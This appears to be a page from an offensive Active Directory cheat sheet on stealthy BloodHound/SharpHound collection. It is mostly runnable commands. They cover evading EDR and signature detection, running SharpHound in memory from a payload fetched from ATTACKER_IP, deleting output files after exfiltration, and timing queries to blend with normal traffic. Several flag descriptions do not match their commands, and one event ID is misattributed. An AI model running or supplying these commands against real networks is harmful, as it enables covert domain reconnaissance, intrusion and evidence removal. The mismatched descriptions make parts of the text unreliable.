OPSEC

SharpHound — Stealth Collection

Stealth mode — avoids noisy session and local admin enumeration.

.\SharpHound.exe -c All --Stealth

DC-only collection — no lateral host enumeration, minimal noise.

.\SharpHound.exe -c DCOnly

Exclude domain controllers from host enumeration.

.\SharpHound.exe -c All --ExcludeDomainControllers

Limit LDAP queries per second.

.\SharpHound.exe -c All --Throttle 1000 --Jitter 20

Randomize output filenames to avoid signature-based detection.

.\SharpHound.exe -c All --RandomFilenames --NoSaveCache

Custom output directory.

.\SharpHound.exe -c All --OutputDirectory C:\Windows\Temp --RandomFilenames

SharpHound — In-Memory Execution

Load and run SharpHound entirely in memory (no disk drop).

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -Stealth

$data = (New-Object System.Net.WebClient).DownloadData('http://ATTACKER_IP/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-c All --Stealth".Split())

SharpHound — Artifact Cleanup

Remove output files after exfil.

Remove-Item C:\Windows\Temp\*.zip -Force
Remove-Item C:\Windows\Temp\*.json -Force

Remove SharpHound cache file.

Remove-Item $env:USERPROFILE\AppData\Local\Temp\*.bin -Force

BloodHound.py — Stealth Options

DC-only — no host enumeration, no SMB sessions.

bloodhound-python -u USER -p 'Password' -d domain.local -c DCOnly -ns DC01_IP

Use LDAP over SSL (port 636) to blend with encrypted traffic.

bloodhound-python -u USER -p 'Password' -d domain.local -c All -ns DC01_IP --dns-tcp

Disable certificate verification for LDAPS.

bloodhound-python -u USER -p 'Password' -d domain.local -c All -ns DC01_IP --disable-pooling --disable-autogc

Detection Signatures to Avoid

Skip session enumeration (very noisy, triggers EDR).

.\SharpHound.exe -c Group,LocalAdmin,ObjectProps,ACL,Trusts,RDP,DCOM,PSRemote

Avoid NetSessionEnum (logged by Defender / Sysmon Event 7045).

.\SharpHound.exe -c DCOnly,ObjectProps,ACL

Timing Recommendations

Run during business hours to blend with legitimate LDAP traffic.

.\SharpHound.exe -c All --Stealth --Throttle 2000 --Jitter 30

Loop collection in short bursts to avoid sustained high-volume LDAP queries.

.\SharpHound.exe -c DCOnly --Loop --LoopDuration 00:30:00 --LoopInterval 00:10:00

Enumeration

Attacks

Lateral Movement

Persistence

ADCS

Trust Attacks

BloodHound

SharpHound — Stealth Collection

SharpHound — In-Memory Execution

SharpHound — Artifact Cleanup

BloodHound.py — Stealth Options

Detection Signatures to Avoid

Timing Recommendations

References

​SharpHound — Stealth Collection

​SharpHound — In-Memory Execution

​SharpHound — Artifact Cleanup

​BloodHound.py — Stealth Options

​Detection Signatures to Avoid

​Timing Recommendations

​References

SharpHound — Stealth Collection

SharpHound — In-Memory Execution

SharpHound — Artifact Cleanup

BloodHound.py — Stealth Options

Detection Signatures to Avoid

Timing Recommendations

References